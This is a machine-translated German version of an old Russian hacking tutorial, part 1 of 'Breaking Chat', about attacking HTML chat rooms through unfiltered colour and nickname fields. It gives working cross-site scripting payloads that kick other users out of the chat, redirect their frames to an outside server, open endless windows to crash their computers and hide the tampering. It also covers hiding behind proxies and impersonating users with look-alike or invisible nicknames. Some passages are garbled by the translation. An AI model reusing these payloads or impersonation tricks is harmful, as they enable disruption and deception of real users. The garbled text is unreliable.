This page has been robot translated, sorry for typos if any. Original content here.

Breaking Chat Teil 1 (Theorie und Praxis)



  • Teil 1
  • Teil 2


  • Diese Seite ruft in keiner Weise zu illegalen Aktivitäten, "Knacken" usw. auf. Das Hauptziel ist es, die Funktionen von HTML und die Vermeidung von Fehlern im Zusammenhang mit seiner Verwendung zu untersuchen. Für eine rechtswidrige Verwendung der vom Autor zur Verfügung gestellten Informationen wird keine Verantwortung übernommen. Über alle festgestellten Fehler in Chatrooms wurde die Administration der Chatrooms vom Autor informiert.
    Alle im Artikel genannten Beispiele wurden getestet und funktionieren in MSIE 5.50.4134.0600. Ich kann die Arbeitseffizienz in anderen Versionen nicht garantieren, aber ich bin sicher, dass fast alle Beispiele dort funktionieren werden.

    Glossar

    Hacken durch Nick (Handler ohne Anführungszeichen)
    Hacking durch Spitznamen (Handler in Anführungszeichen eingeschlossen)
    Durch den Spitznamen hacken (der Filter erlaubt keine Anführungszeichen / erforderlichen Zeichen)
    Farbe durchbrechen (Attribut ohne Anführungszeichen)
    Farbe durchbrechen (Attribut mit Anführungszeichen)
    Welche Zeichen müssen Filter überprüfen
    Handler-Limiter
    Falsche Kerben, leere Kerben

    Allgemeine Theorie

    Hier möchte ich auf die Grundlagen des Hackens von Chats eingehen. Ich entschuldige mich im Voraus bei fortgeschrittenen Lesern - diese Methoden sind seit langem bekannt und alt wie die Welt. Wenn Sie fortgeschritten genug sind, können Sie sich auf die nächsten Kapitel konzentrieren.

    Zunächst möchte ich darauf hinweisen, dass jeder Chat originell und einzigartig ist (mit Ausnahme der replizierten Kopien eines Tsishka natürlich). Daher gibt es keine absolut universellen Möglichkeiten zum Hacken. Fast jeder Chat hat Funktionen, die berücksichtigt werden müssen, und ohne die dumme Vorlagen nicht funktionieren.

    Was verstehe ich eigentlich, wenn ich in den HTML-Chat einsteige? Dies ist keine triviale Flut und kein Angriff auf den IP-Chat. Unter Hacking verstehen wir eine nicht autorisierte Änderung des HTML-Dokuments des Chats oder den Zugriff auf seine verborgenen Teile (z. B. privat), d. H. eine solche Auswirkung auf den Chat, die für Benutzer nicht vorgesehen und erlaubt war. Dies gilt nicht nur für Chatrooms, sondern auch für Foren, Gästebücher usw. (wo alle beschriebenen Methoden auch funktionieren und noch besser, da diese Formen in der Regel schlechter geschützt sind als Chats).

    Alles Beschriebene gilt nur für HTML-Chatrooms. Breaking Java Chats ist ein eigenständiges und völlig anderes Lied. Ich hoffe, Sie können eine Art von Chat von einer anderen unterscheiden. :) ).

    Wir stehen also kurz vor dem HTML-Chat. Angenommen, wir möchten es auf "Stärke" testen. Was ist zuerst zu tun? Zunächst stellen wir eine Verbindung über einen anonymen Proxy her (ich hoffe, Sie wissen, was es ist). Dies ist aus zwei Gründen notwendig: Erstens stellen wir unsere Anonymität sicher (damit der Onkel des Administrators nicht den Arsch gibt), und zweitens können wir wechseln, wenn der Administrator unsere Experimente immer noch nicht mag und das Fenster im Chat schließt Ihren Proxy an andere IP-Adressen senden und den Chat erneut betreten. Die Wahrheit hier ist eine Sache: Der Zugang zu einigen Chatrooms ist nicht über öffentliche Proxies gestattet.

    Als nächstes müssen wir herausfinden, welche Art von Waffe wir haben, dh welche Attribute der Benutzer angeben kann. In der Regel können Sie in allen Chatrooms den Benutzer NICK sowie den Benutzer COLOR eingeben. Außerdem ist es manchmal möglich, die SOAP des Benutzers, seine Homepage, das Geschlecht, die Häufigkeit der Aktualisierung des Chats usw. festzulegen. In der Praxis sind Felder wie Farbe, Spitzname, Soap und die Homepage des Benutzers von Interesse. Sie werden direkt in den Hauptteil des Dokuments eingefügt, und daher können Sie über sie den Chat angreifen. Es sollte beachtet werden, dass in einigen Chatrooms eine Registrierung erforderlich ist und einige der Attribute während der Registrierung festgelegt werden und andere - kurz vor dem Betreten des Chats (oder bereits innerhalb des Chats). Registrierungs-Chats sind normalerweise cooler und besser geschützt.

    > Machen Sie sich selbst ein Bild von den möglichen Hacking-Möglichkeiten. Konzentrieren wir uns zunächst auf das Formular-Codefragment, in dem die Farbe unserer Nachrichten festgelegt ist (die Farbe kann übrigens sowohl für den Spitznamen als auch für den Text der Beiträge separat festgelegt werden - beide müssen überprüft werden, da sie im Chat unterschiedlich analysiert werden können). Warum interessieren wir uns hauptsächlich für Farbe? Da die Farbe in den Tags in ihren Parametern angegeben ist, wird sie beispielsweise nicht wie der Spitzname angezeigt, der am häufigsten im Textkörper der Tags vorkommt. Und um den Chat zu unterbrechen, müssen wir in die Tag-Parameter eindringen, damit wir seine Attribute ändern oder unser Skript einfügen können (manchmal können Sie natürlich beliebige Tags nur in den Text von Nachrichten schreiben, wie es bis vor kurzem in chat.rambler chat war . ru , aber diese Option ist so dumm, dass solche Chats wahrscheinlich nicht mehr existieren, und ich halte es nicht).

    Uns interessiert, wie die Farbinformationen an den Server gesendet werden. Der am wenigsten geschützte Zeichenfolgentyp ist, wenn die Farbe in Form eines eigenen Namens übertragen wird. Zum Beispiel:

    <select name=youcolor style="width: 70px">
    <option value=blue>синий value=blue
    <option value=red>красный
    <option value=darkred>т-красный
    <option value=green>зеленый
    <option value=black>черный value=black
    <option value=lightblue>голубой value=lightblue
    </select>

    Solch ein Chat bricht normalerweise bis zu dem einen oder anderen Grad zusammen. :) . Eine schlechtere Option, wenn die Farbe in Form eines numerischen Codes zurückgegeben wird:

    <select name=youcolor style="width: 70px">
    <option value=#0000FF>синий value=#0000FF
    <option value=#AF0000>красный
    <option value=#FF0000>т-красный
    <option value=green>зеленый
    <option value=#000000>черный value=#000000
    <option value=#0000AF>голубой value=#0000AF
    </select>

    In einem solchen Chat kann es Filter für alle Zeichen geben, mit Ausnahme von Zahlen, dem # -Zeichen und den Buchstaben A, B, C, D, E und F. Dann müssen Sie das Durchbrechen der Farbe vergessen.

    Und schließlich ist der schlimmste Fall, wenn die Farbe einfach als Zahl aus der Liste der zulässigen Farben übertragen wird:

    <select name=youcolor style="width:70px">
    <option value=1>синий <
    <option value=2>красный <
    <option value=3>т-красный <
    <option value=4>зеленый <
    <option value=5>черный <
    <option value=6>голубой <
    </select>

    In der Regel ist es unmöglich, einen solchen Chat durch Farbe zu knacken (und oft ist es überhaupt nicht möglich). Dies ist die am besten geschützte Option (übrigens empfehle ich Entwicklern von Chatrooms).

    Als Nächstes müssen wir den HTML-Code ändern, damit wir beliebige Attributwerte frei an den Server senden können. Dazu speichern wir die Site auf unserer Festplatte und ändern das Chat-Eintragsformular (oder die Registrierung) wie folgt: Ändern Sie die relative Adresse des Aktionsparameters des Formulars in die vollständige Adresse. Ersetzen Sie alle verborgenen Typ-Tags durch den Texttyp und ändern Sie die Auswahl- Tags durch Eingabe . Darüber hinaus müssen Sie die Beschränkungen für die Länge des Eingabewerts (falls vorhanden) aufheben. Wenn zum Beispiel das ursprüngliche Formular das Formular hatte:



    <form name="logon" method="POST" action="/cgi-bin/chat/chat.cgi">
    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle">
    <small>Nickname:</small>
    <input type="text" name="username" size="12" maxlength="12" >
    </td>

    <td valign="middle"><small> TextColor:</small>
    <select name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue
    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=hidden name=message value="logged on.">

    <input type=hidden name="logon" value="">
    <input type=hidden name=to value="Room">
    <input type=hidden name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Nach den entsprechenden Ersetzungen erhalten wir dann:



    <form name="logon" method="POST" action="http://typachat.ru/cgi-bin/chat/chat.cgi">

    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle"><small>Nickname:</small>

    <input type="text" name="username" >

    </td>

    <td valign="middle"><small> Text Color:</small>

    <input name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue

    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=text name=message value="logged on.">

    <input type=text name="logon" value="">

    <input type=text name=to value="Room">
    <input type=text name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Beachten Sie, dass ein Dokument dynamisch durch Funktionen wie document.write () erstellt werden kann. Dann müssen Sie es höchstwahrscheinlich in eine statische Ansicht konvertieren. Außerdem kommt es häufig vor, dass der Chat nach dem Speichern von HTML auf der Festplatte nicht geöffnet werden soll. Dies kann daran liegen, dass die Site nicht vollständig gespeichert wurde, wenn sie aus Frames bestand. In diesem Fall müssen Sie die Struktur der Seite besser verstehen und alles richtig machen. Ein weiterer Grund kann sein, dass der Server das Referer- Feld des HTTP-Request-Headers nachverfolgt und feststellt, dass wir uns nicht von seiner Seite aus anmelden. In diesem Fall müssen Sie andere Methoden verwenden, auf die wir im Kapitel "Hacken auf http-Ebene" näher eingehen.

    Jetzt können wir mit dem Chat experimentieren. Zunächst müssen Sie herausfinden, welche Filter sich auf den Eingabewerten befinden (zuerst für Farbe und Spitznamen). Wir interessieren uns hauptsächlich für folgende Charaktere:

    " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел

    Gib sie in das Farbfeld und den Spitznamen ein, gehe zum Chat (wenn sie uns dort mit solchen Attributen reinlassen; wenn sie nicht zulassen, dass wir die Zeichen einzeln sortieren müssen) und sieh nach, welche Zeichen vom Filter übersprungen wurden (indem du in den Chat schreibst, dass ein Thread wie "Hallo", und Nachdem Sie im HTML-Text gesehen haben, welche Symbole für Farbe und Spitznamen vorhanden sind). Einige Chats löschen einfach die gefilterten Zeichen, andere ersetzen sie durch andere Zeichen und manche konvertieren sie in eine codierte Form vom Typ < oder ' . Solche transformierten Zeichen passen nicht zu uns, da HTML sie nicht wahrnimmt (nähere Informationen hierzu finden Sie im Kapitel "Noch ein paar Hacks des leidenden Chats T").

    Aus diesem Grund sollten wir eine Liste der übergebenen Zeichen für jedes Attribut des Registrierungsformulars haben.

    Als nächstes stehen wir vor der Aufgabe, in ein beliebiges Tag einzudringen, um dessen Pramatra zu ändern oder dort unser eigenes Skript einzufügen. Hierfür gibt es zwei grundverschiedene Möglichkeiten: Die erste besteht darin, dass der von uns benötigte Code über Attribute übertragen wird, die sich bereits innerhalb des Tags befinden (dh zwischen spitzen Klammern) - beispielsweise über die Farbe oder die Adresse der Seife. Die zweite besteht darin, die Struktur des HTML-Codes so aufzubrechen, dass sich der benötigte Code innerhalb des Tags befindet. Wie das geht, ergibt sich aus der Analyse der spezifischen Struktur des Chat-Codes und der ungefilterten Zeichenmenge für unsere Attribute. Verschiedene Optionen zum Hacken berücksichtigen die folgenden Beispiele. In der Zwischenzeit möchte ich einige der Funktionen von HTML hervorheben, die es tatsächlich ermöglichen, interessante "Effekte" zu erzeugen.

    HTML-Funktionen

    P> Hier werde ich keinen Vortrag über HTML für Dummies halten. Ich hoffe, dass Sie wissen, was ein Tag und seine Parameter sind, Sie mit JavaScript vertraut sind und mindestens eine Webseite in Ihrem Leben in HTML geschrieben haben (und nicht in FrontPage).

    Das größte Unglück (und dennoch die Kraft) von HTML ist, dass es keinen einzigen Standard gibt. Das heißt, es scheint da zu sein, aber die Standards sind so unterschiedlich und es gibt so viele in HTML verflochtene, dass niemand es genau weiß (und oft nicht weiß, was es ist). Darüber hinaus führen der Wettbewerb zwischen den Browsern und die Heterogenität der Websites dazu, dass die Browser versuchen, die größtmögliche Anzahl von Standards und Technologien beizubehalten. Darüber hinaus hat das Fehlen einheitlicher Standards dazu geführt, dass Webmaster sogar auf derselben Seite unterschiedliche Stile verwenden können: o (Genau dies ermöglicht es Hackern, HTML zu knacken, und bereitet Entwicklern viel Kopfzerbrechen.

    Eine einfache Frage: Was sind die Begrenzer in HTML und JavaScript? Auch ich kann diese Frage nicht sofort und eindeutig beantworten. Betrachten Sie ein Beispiel:

    <font onclick= "alert()">Text</font>

    Hier ist alles klar und deutlich. Es gibt ein Tag, dessen Click-Event-Handler in JavaScript geschrieben ist und dessen Text in doppelte Anführungszeichen eingeschlossen ist. Die Verwendung von JavaScript kann explizit angegeben werden:

    <font onclick="javascript:alert()">Text</font>

    Die Zeichenfolgenabschlusszeichen in diesen Beispielen sind doppelte Anführungszeichen. Auf sie kann man jedoch verzichten. Da es nach onclick = nur einen statischen Zeilenumbruch geben kann, können Sie in HTML die Anführungszeichen weglassen (dies gilt in vielen Fällen, in denen das Argument nur eine konstante Zeichenfolge sein kann). Somit funktioniert dieses Design auch:

    <font onclick=alert()>Text</font>

    und jetzt anstelle einer leeren Nachricht etwas Sinnvolles einfügen:

    <font onclick=alert('Привет друзья!')>Text</font>

    Das Öffnen des Demo-Links zeigt, dass dieses Beispiel nicht funktioniert. Der Grund dafür ist, dass der Textkörper des Handlers nicht in Anführungszeichen eingeschlossen werden kann. In diesem Fall wird das erste Leerzeichen als Ende des Zeilenhandlers betrachtet (auch wenn sich das Leerzeichen selbst in den Anführungszeichen befindet). Daher betrachtet der Browser nur ein Warnungsfragment als Handler ('Hallo , und das Finden eines offenen Zitats gibt eine Fehlermeldung aus. Warum reagiert der Browser nicht auf die Tatsache, dass sich der Leerraum in den Anführungszeichen befindet? Ich denke, der Grund dafür ist, dass hier zwei Sprachen gemischt sind: HTML und JavaScript. Der Browser "erkannte", dass nach dem = -Zeichen kein Anführungszeichen stand und suchte daher nach einem Leerzeichen - als Ende des Handlers. Im Moment interessierte sich das Innere des Handlers nicht dafür, da es sich nicht um HTML, sondern um JavaScript handelte. Daher bemerkte er das Eröffnungszitat einfach nicht. nahm den Platz für das Pferd der Wert des Parameters Die folgenden Konstruktionen funktionieren ohne Fehler:

    <font onclick="alert('Привет друзья!')">Text</font>
    <font onclick=alert('Привет_друзья!')>Text</font>
    <font onclick="alert('Привет друзья!')"onmouseover='alert()'>Text</font>
    <font color=alert('Привет друзья!')>Text</font>

    Wir weisen auf ein wichtiges Merkmal hin: Wenn der Wert des Tag-Parameters in Anführungszeichen steht, kann das Leerzeichen vor dem nächsten Parameter weggelassen werden (die dritte Zeile des Beispiels). Die vierte Zeile des Beispiels funktioniert auch (in dem Sinne, dass der Browser nicht schwört, aber das Skript natürlich nicht funktioniert), weil der Browser den Inhalt des color- Attributs nicht als JavaScript ansieht und daher nicht auf ein offenes Zitat schwört, obwohl nur eine Warnung (' Hi (beliebiger String kann in HTML als Farbe fungieren, in diesem Fall konvertiert der Browser den String in einen bestimmten numerischen Wert, den er als Farbe betrachtet).

    Gibt es andere Zeichen - die Begrenzer des Handlers ohne Anführungszeichen (außer dem Leerzeichen und dem > -Zeichen) - eine offene Frage. Ich kenne diese nicht, aber ich gebe zu, dass sie sein können.

    Wie Sie den Beispielen entnehmen können, können doppelte und einfache Anführungszeichen als Zeilenabschluss verwendet werden. Dies gilt sowohl für HTML als auch für JavaScript. Es hat sich jedoch herausgestellt, dass mindestens ein weiteres Zeichen als Zeilenabschluss in HTML (jedoch nicht in JavaScript!) Vorhanden ist. Dies ist das Symbol des umgekehrten Apostrophs (normalerweise auf derselben Taste wie der Buchstabe Ё ). Sie können das folgende Beispiel sehen:

    <font onclick=`alert('Привет друзья!')`>Text</font>

    Ich schwöre, dass mindestens 90% der Webmaster nichts davon wissen! Jedenfalls habe ich noch nicht gesehen, dass jemand den umgekehrten Apostroph anwenden würde. Dieses Symbol ist ein Fund für einen Hacker. :) ).

    Es kommt oft vor, dass in einigen Anführungszeichen - andere verwendet werden müssen. Und das ist schwierig, besonders wenn im Chat nur eine Art von Anführungszeichen fehlen. Es stellt sich jedoch heraus, dass JavaScript das Einfügen von Zeichenfolgenkonstanten in andere Zeichenfolgenkonstanten ermöglicht, wobei dieselben Anführungszeichen verwendet werden! Zum Beispiel:

    'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')'

    Im Beispiel werden geschachtelte einfache Anführungszeichen verwendet, aber der Interpreter erzeugt keinen Fehler. Ich stelle fest, dass der Inhalt interner Anführungszeichen nicht willkürlich ist: Es sollte keine Leerstelle geben, und am Ende sind zum Beispiel einige Zeichen nicht zulässig . oder ) .

    Lassen Sie uns nun über Links sprechen. Zuallererst ist ein solches Detail zu beachten: Die Entwicklung des Internets erfolgte so, dass sich völlig unterschiedliche Technologien darin vermischten. Der Zugriff auf Informationen kann über eine große Anzahl verschiedener Protokolle erfolgen. Wenn Sie den vollständigen Pfad des Dokuments (URL) angeben, können Sie daher jedes Protokoll angeben, das dem Browser bekannt ist. Es ist bemerkenswert, dass Javascript auch mit Protokollen zusammenhängt (obwohl dies nicht der Fall ist, aber anscheinend entschieden die Entwickler, dass es zu kühn wäre, ein separates Konzept für Skripte zuzuweisen, und stuften sie unter den Protokollen ein). Daher können Sie das Skript an jeder Stelle im HTML-Dokument einfügen, an der Sie die URL angeben können. Und dieses Skript wird ausgeführt, sobald der Benutzer (oder der Browser selbst) diesen Link anfordert. Zum Beispiel:

    <a href=javascript:alert()>Text</a>

    Interessanterweise können Sie zusätzlich zu Operatoren in einem Link zu JavaScript einfach einen Zeichenfolgenwert (oder einen numerischen Wert) angeben (jedoch immer nach den Operatoren, falls vorhanden). Wenn Sie auf einen solchen Link klicken, führt der Browser zuerst die führenden Operatoren aus, öffnet dann ein neues Dokument und fügt den Wert der letzten im Link angegebenen Zeile ein:

    <a href=javascript:alert();'Hello!!'>Text</a> Ich <a href=javascript:alert();'Hello!!'>Text</a> fest, dass Tags auf diese Weise nicht in eine neue Seite eingefügt werden können.

    Chat unterbrechen R

    Ich werde ein Beispiel für einen der ersten Chats geben, die ich gehackt habe. Dieser Chat war sehr einfach und hat geknackt, was beim ersten Anruf aufgerufen wurde :) ).

    Ja, und jetzt gibt es nur noch wenige Chats, in denen es passiert. Ich habe zwar selbst über diese Methoden nachgedacht, sie dann aber in Hacker-Journalen gefunden.

    Das Eingabeformular dieses Chats entsprach genau dem im Kapitel „Allgemeine Theorie“ angegebenen Formular. Nach dem Konvertieren und Speichern des Formulars auf der Festplatte habe ich überprüft, welche Zeichen im Farbattribut übergeben werden. Es stellte sich heraus, dass die folgenden Symbole vorübergehen (von denen, die uns interessieren, siehe das Kapitel "Allgemeine Theorie"):

    ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел

    Und natürlich gingen alle Zahlen und Buchstaben vorbei. Die Länge der String-Farbwerte ist nicht begrenzt. Als nächstes habe ich genau gesucht, wo die Farbe in den Nachrichtenrahmen eingefügt wird. Hier ist ein Fragment dieses Frames:

    <font color=Black><b>Путник</b>- Alpha, привет ))</font>
    <font color=Red><b>Alpha</b>- Всемприветик !!</font>

    Wie Sie sehen, wird die Farbe ohne die umgebenden Anführungszeichen eingefügt. Es hat mir gepasst. Ich habe mich unter Shrams Spitznamen (oder fast unter diesem Spitznamen;) und in roter Größe = 20 angemeldet. Meine Nachricht lautete wie folgt:

    <font color=red size=20><b>Algol</b>- Hi</font>

    Es wurde in einer sehr großen Schrift angezeigt, was die Chat-Bevölkerung ein wenig überraschte. :) ).

    Obwohl wir keine Tags direkt einfügen können, konnten wir mit der Berechtigung zum Eingeben eines Leerzeichens im Farbattribut nicht autorisierte Tag-Parameter festlegen. Das hat mir aber sicher nicht gereicht. Das Ändern der Schriftgröße ist sicherlich cool, aber wirklich etwas Nützliches kann nur mit Skripten geschehen. Ich konnte das Skript- Tag nicht direkt einfügen (oder zu diesem Zeitpunkt wusste ich nicht, wie es geht). Aber ich könnte einen Handler für jedes Tag-Ereignis festlegen. Hier ist die Farbe, nach der ich gefragt habe, um einen Idioten aus dem Chat zu entfernen:
    #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. Und dann schickte er ihm privat eine lange, lange Nachricht. Ich habe die Farbe der Nachricht so aufgenommen, dass sie nicht von der Hintergrundfarbe abweicht. Und die Schriftgröße und Länge der Nachricht waren so groß, dass das Opfer wahrscheinlich mindestens einmal mit der Maus über die Nachricht fuhr, wodurch mein onmouseover- Handler anstelle des Benutzers den "Chat verlassen" -Button drückte :) ).

    Es gab jedoch nach und nach kluge Männer, die auf den Witz kamen und den Mauszeiger bewusst nicht über das Chatfenster zogen. Mein Skript hat nicht immer funktioniert :( (Zuerst dachte ich, es gäbe keinen Ausweg. Da ich das Skript nur als Ereignishandler einfügen kann, funktioniert das Skript nicht, wenn dieses Ereignis nicht auftritt. Nach Durchstöbern der „Annalen“ fand ich jedoch eine Lösung (jetzt ist es trivial geworden) und weithin bekannt.) Es stellte sich heraus, dass Sie die URL des Hintergrundbilds für das Tag im style- Attribut angeben können. Und wo Sie die URL angeben können, können Sie auch ein Skript dort schreiben. Und die Hauptsache ist, dass das Hintergrundbild selbst geladen wurde, nachdem das HTML-Dokument fertig geladen wurde! Wenn ich wollte Benachrichtigung für Chat-Teilnehmer anzeigen, ich habe mich mit der folgenden Farbe angemeldet von diesem:

    style=background-image:url(javascript:alert('приветик_всем_!!'));

    Es sollte ein wichtiges Detail beachtet werden: Da die Struktur der meisten HTML-Chats so ist, dass die Seite regelmäßig aktualisiert wird, wird das auf diese Weise gesendete Skript nicht einmal ausgeführt, sondern häufig, bis unsere Nachricht vom Bildschirm verschwindet.

    Und so sah der Farbattributwert für das Ausschalten des Chats jetzt aus:

    style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click());

    Es muss beachtet werden, dass das im Chat gesendete Skript nicht nur Ihren „Gesprächspartner“ sieht, sondern auch Sie selbst. Daher müssen Sie wissen, wie Sie sich selbst vor dem Einfluss des Skripts schützen können. Dies kann auf zwei Arten geschehen: entweder um sich in den Ignorierzustand zu versetzen (und dann sehen wir unsere eigenen Nachrichten nicht) oder um die Anzeige von Bildern in den Browsereinstellungen zu verbieten. Dann funktioniert das durch das Hintergrundbild ausgelöste Skript nicht.

    Jetzt möchte ich einige nützliche Skripte zeigen, die in gehackten Chats verwendet werden können:

    Javascript: navigieren ('http://myserver.ru'); - Lädt die Seite myserver.ru in den aktuellen Frame (oder die aktuelle Seite).
    Einige Chats betrachten dies beim Anblick des http: // Fragments als Link und fügen automatisch das <a> -Tag ein. Da dies unser Skript zerstören wird, sollte dies nicht erlaubt sein. Lassen Sie dazu einfach das Präfix http: weg (das standardmäßig bereits akzeptiert wird). Dann sieht das Skript so aus: Javascript: navigate ('// myserver.ru'); .Zwei vor dem Schrägstrich - sind erforderlich.

    javascript: parent.frames [2] .document.location = 'http: //myserver.ru' - lädt die Seite myserver.ru in einen der Frames.

    javascript: for (;;) open () - öffnet unendlich viele Fenster (wenn Sie nicht rechtzeitig navigieren, friert der Computer ein und startet neu).

    javascript: document.write ('<script> alert () </ script>') - ersetzt den aktuellen Frame durch ein Skript, das dann ausgeführt wird. Hinweis: Wenn Chatne die Zeichen <und> vermisst (und dies ist die überwältigende Anzahl an Chats), können wir ein solches Skript nicht einfügen. Aber es gibt einen Ausweg. Dies ist eine Anwendung der Funktion unescape () , die den ASCII-Code eines Zeichens in ein Zeichen konvertiert. Ersetzen Sie die spitzen Klammern mit der Funktion unescape () durch die entsprechenden Codes, dann sieht unser Skript folgendermaßen aus:

    javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - fügt ein Bild nach dem Text ein. Ich stelle fest, dass Sie in IE 5.x jedes Tag außer FRAME, IFRAME und SELECT einfügen können.

    In IE 4.x können mit der Funktion createElement () jedoch nur IMG- , AREA- und OPTION- Tags eingefügt werden . Ich habe keine Informationen über Netscape, Sie können selbst experimentieren. 'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' / * blockiert das Dropdown-Menü der Seite und macht es daher unmöglich, den HTML-Inhalt des Frames anzuzeigen. Dank dessen können Sie Ihre Betrugsfälle mit dem Chatkörper verbergen. :) ). * / Manchmal ist es nützlich, sich unter dem Spitznamen einer anderen Person anzumelden. In Chats mit dem Benutzerregistrierungssystem können Sie dies nicht tun, wenn Sie das Kennwort nicht kennen (und Sie es höchstwahrscheinlich nicht kennen). Banaler Ausweg: Registrierung mit einem Spitznamen, bei dem der Buchstabe des lateinischen Alphabets durch einen sehr ähnlichen Buchstaben des russischen Layouts ersetzt wird. Melden Sie sich beispielsweise als Administrator- Spitzname an, bei dem der lateinische Buchstabe a durch den russischen a ersetzt wird . Die Methode ist primitiv, aber es funktioniert)). Es gibt auch schwerere Fälle. In einigen Chatrooms ist es beispielsweise verboten, Symbole aus verschiedenen Layouts in einem Spitznamen zu verwenden. Dann hat der fragende Verstand nichts zu tun, als er sich an Onkel Gates um Hilfe wendet. Und hier ist sie menschliche Güte, Microsoft hat sündige User nicht vergessen und uns ein Symbol geschenkt ­ (er ­ aka % AD ), die von Microsoft selbst als "weicher Bindestrich" ("Short hyphen") bezeichnet wird. Es sieht wirklich aus wie ein Bindestrich in Word und auch in Excel und sogar in einem Notizbuch, aber nicht im IE! Für Microsoft's Microsoft Exxplorer ­ es existiert einfach nicht, das heißt, es scheint da zu sein, aber sie haben vergessen , eine grafische Darstellung dafür zu machen. Es erscheint einfach nicht in der HTML-Seite! Wenn Sie also einen kurzen Bindestrich zu einem beliebigen Spitznamen hinzufügen und sich unter diesem registrieren, geben Sie den Chat mit einem Spitznamen ein, der auf der HTML-Seite genauso aussieht wie ein Spitzname ohne Bindestrich. Und Sie können es noch steiler machen - melden Sie sich unter einem Spitznamen an, der nur aus den Zeichen eines kurzen Bindestrichs besteht. Dann wird dein Nickname im Chat überhaupt nicht angezeigt, absolut leerer Raum)).

    (Hinweis: Nachdem ich mich ein wenig mit dem kurzen Bindestrich befasst habe, habe ich immer noch Fälle gefunden, in denen es vorkommt: Es erscheint nur als Silbentrennungssymbol. Wenn sich also ein kurzer Bindestrich im Wort befindet und sich dieses Wort am Ende der Zeile befindet, kann ein Teil des Wortes nach dem Bindestrich lauten in die nächste Zeile verschoben werden, und der Bindestrich selbst wird sichtbar! Daher ist die Unsichtbarkeit des Bindestrichs wahrscheinlich ein absichtliches Merkmal von Microsoft (was im Übrigen seine Nützlichkeit beim Knacken nicht beeinträchtigt :) ). Stimmt, es ist nicht klar, warum es in anderen Anwendungen immer sichtbar bleibt?)



    Nächste 2h. >>